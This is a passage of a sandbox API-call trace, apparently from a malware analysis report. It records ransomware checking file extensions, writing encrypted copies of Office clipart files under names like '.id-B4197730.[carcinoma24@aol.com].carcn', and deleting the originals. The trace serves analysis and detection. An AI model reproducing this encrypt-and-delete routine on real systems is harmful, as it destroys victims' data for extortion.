Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0278.150] lstrlenW (lpString=".dbf") returned 4 [0278.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0278.151] lstrlenW (lpString=".1cd") returned 4 [0278.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0278.151] lstrlenW (lpString=".jpg") returned 4 [0278.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0278.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0278.151] lstrlenW (lpString=".doc") returned 4 [0278.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.151] lstrlenW (lpString=".docx") returned 5 [0278.151] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.151] lstrlenW (lpString=".pdf") returned 4 [0278.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.151] lstrlenW (lpString=".xls") returned 4 [0278.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.154] lstrlenW (lpString=".xlsx") returned 5 [0278.154] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.154] lstrlenW (lpString=".ppt") returned 4 [0278.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0278.154] lstrlenW (lpString=".zip") returned 4 [0278.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.155] lstrlenW (lpString=".rar") returned 4 [0278.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.155] lstrlenW (lpString=".bz2") returned 4 [0278.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.155] lstrlenW (lpString=".7z") returned 3 [0278.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0278.155] lstrlenW (lpString=".dbf") returned 4 [0278.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0278.155] lstrlenW (lpString=".1cd") returned 4 [0278.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0278.155] lstrlenW (lpString=".jpg") returned 4 [0278.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.155] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0278.155] lstrlenW (lpString="DD01586_.WMF") returned 12 [0278.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0279.967] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2324) returned 1 [0279.967] CloseHandle (hObject=0x53c) returned 1 [0279.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220 [0279.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0279.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0279.968] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.968] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0279.969] GetLastError () returned 0x0 [0279.969] ReadFile (in: hFile=0x53c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x914, lpOverlapped=0x0) returned 1 [0279.980] WriteFile (in: hFile=0x55c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x920, lpOverlapped=0x0) returned 1 [0279.981] ReadFile (in: hFile=0x53c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0279.982] WriteFile (in: hFile=0x55c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0279.982] SetEndOfFile (hFile=0x55c) returned 1 [0279.982] CloseHandle (hObject=0x55c) returned 1 [0279.982] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.982] SetEndOfFile (hFile=0x53c) returned 1 [0279.986] CloseHandle (hObject=0x53c) returned 1 [0279.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0279.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0279.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0279.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0279.988] lstrlenW (lpString=".doc") returned 4 [0279.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.988] lstrlenW (lpString=".docx") returned 5 [0279.988] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.988] lstrlenW (lpString=".pdf") returned 4 [0279.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.988] lstrlenW (lpString=".xls") returned 4 [0279.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.988] lstrlenW (lpString=".xlsx") returned 5 [0279.988] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.988] lstrlenW (lpString=".ppt") returned 4 [0279.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0279.988] lstrlenW (lpString=".zip") returned 4 [0279.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.989] lstrlenW (lpString=".rar") returned 4 [0279.989] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.989] lstrlenW (lpString=".bz2") returned 4 [0279.989] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.989] lstrlenW (lpString=".7z") returned 3 [0279.989] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0279.989] lstrlenW (lpString=".dbf") returned 4 [0279.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0279.989] lstrlenW (lpString=".1cd") returned 4 [0279.989] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0279.989] lstrlenW (lpString=".jpg") returned 4 [0279.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0279.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0279.989] lstrlenW (lpString=".doc") returned 4 [0279.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.990] lstrlenW (lpString=".docx") returned 5 [0279.990] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.990] lstrlenW (lpString=".pdf") returned 4 [0279.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.990] lstrlenW (lpString=".xls") returned 4 [0279.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.990] lstrlenW (lpString=".xlsx") returned 5 [0279.990] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.990] lstrlenW (lpString=".ppt") returned 4 [0279.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0279.990] lstrlenW (lpString=".zip") returned 4 [0279.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.990] lstrlenW (lpString=".rar") returned 4 [0279.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.990] lstrlenW (lpString=".bz2") returned 4 [0279.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.990] lstrlenW (lpString=".7z") returned 3 [0279.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0279.990] lstrlenW (lpString=".dbf") returned 4 [0279.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0279.990] lstrlenW (lpString=".1cd") returned 4 [0279.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0279.991] lstrlenW (lpString=".jpg") returned 4 [0279.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.991] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0279.991] lstrlenW (lpString="EN00242_.WMF") returned 12 [0279.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0279.992] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=6780) returned 1 [0279.993] CloseHandle (hObject=0x53c) returned 1 [0279.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220 [0279.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0279.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0279.993] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.993] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0279.995] GetLastError () returned 0x0 [0279.995] ReadFile (in: hFile=0x53c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x1a7c, lpOverlapped=0x0) returned 1 [0280.019] WriteFile (in: hFile=0x55c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x1a80, lpOverlapped=0x0) returned 1 [0280.020] ReadFile (in: hFile=0x53c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.021] WriteFile (in: hFile=0x55c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0280.021] SetEndOfFile (hFile=0x55c) returned 1 [0280.021] CloseHandle (hObject=0x55c) returned 1 [0280.021] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.021] SetEndOfFile (hFile=0x53c) returned 1 [0280.024] CloseHandle (hObject=0x53c) returned 1 [0280.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0280.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0280.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0280.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0280.026] lstrlenW (lpString=".doc") returned 4 [0280.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.026] lstrlenW (lpString=".docx") returned 5 [0280.026] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.026] lstrlenW (lpString=".pdf") returned 4 [0280.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.027] lstrlenW (lpString=".xls") returned 4 [0280.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.027] lstrlenW (lpString=".xlsx") returned 5 [0280.027] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.027] lstrlenW (lpString=".ppt") returned 4 [0280.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0280.027] lstrlenW (lpString=".zip") returned 4 [0280.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.027] lstrlenW (lpString=".rar") returned 4 [0280.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.027] lstrlenW (lpString=".bz2") returned 4 [0280.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.027] lstrlenW (lpString=".7z") returned 3 [0280.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0280.027] lstrlenW (lpString=".dbf") returned 4 [0280.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0280.027] lstrlenW (lpString=".1cd") returned 4 [0280.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0280.028] lstrlenW (lpString=".jpg") returned 4 [0280.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0280.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0280.029] lstrlenW (lpString=".doc") returned 4 [0280.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.029] lstrlenW (lpString=".docx") returned 5 [0280.029] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.029] lstrlenW (lpString=".pdf") returned 4 [0280.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.029] lstrlenW (lpString=".xls") returned 4 [0280.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.029] lstrlenW (lpString=".xlsx") returned 5 [0280.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.029] lstrlenW (lpString=".ppt") returned 4 [0280.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0280.029] lstrlenW (lpString=".zip") returned 4 [0280.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.029] lstrlenW (lpString=".rar") returned 4 [0280.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.029] lstrlenW (lpString=".bz2") returned 4 [0280.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.029] lstrlenW (lpString=".7z") returned 3 [0280.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0280.030] lstrlenW (lpString=".dbf") returned 4 [0280.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0280.030] lstrlenW (lpString=".1cd") returned 4 [0280.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0280.030] lstrlenW (lpString=".jpg") returned 4 [0280.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.030] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0280.030] lstrlenW (lpString="EN00320_.WMF") returned 12 [0280.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0280.032] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=736) returned 1 [0280.032] CloseHandle (hObject=0x53c) returned 1 [0280.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220 [0280.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0280.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0280.033] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.033] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0280.034] GetLastError () returned 0x0 [0280.034] ReadFile (in: hFile=0x53c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x2e0, lpOverlapped=0x0) returned 1 [0280.045] WriteFile (in: hFile=0x55c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x2f0, lpOverlapped=0x0) returned 1 [0280.047] ReadFile (in: hFile=0x53c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.047] WriteFile (in: hFile=0x55c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0280.605] SetEndOfFile (hFile=0x55c) returned 1 [0280.874] CloseHandle (hObject=0x55c) returned 1 [0280.874] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.881] SetEndOfFile (hFile=0x53c) returned 1 [0280.909] CloseHandle (hObject=0x53c) returned 1 [0280.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0280.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0280.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0280.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0280.911] lstrlenW (lpString=".doc") returned 4 [0280.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.911] lstrlenW (lpString=".docx") returned 5 [0280.911] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.911] lstrlenW (lpString=".pdf") returned 4 [0280.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.911] lstrlenW (lpString=".xls") returned 4 [0280.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.911] lstrlenW (lpString=".xlsx") returned 5 [0280.911] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.911] lstrlenW (lpString=".ppt") returned 4 [0280.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0280.911] lstrlenW (lpString=".zip") returned 4 [0280.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.911] lstrlenW (lpString=".rar") returned 4 [0280.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.911] lstrlenW (lpString=".bz2") returned 4 [0280.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.911] lstrlenW (lpString=".7z") returned 3 [0280.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0280.912] lstrlenW (lpString=".dbf") returned 4 [0280.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0280.912] lstrlenW 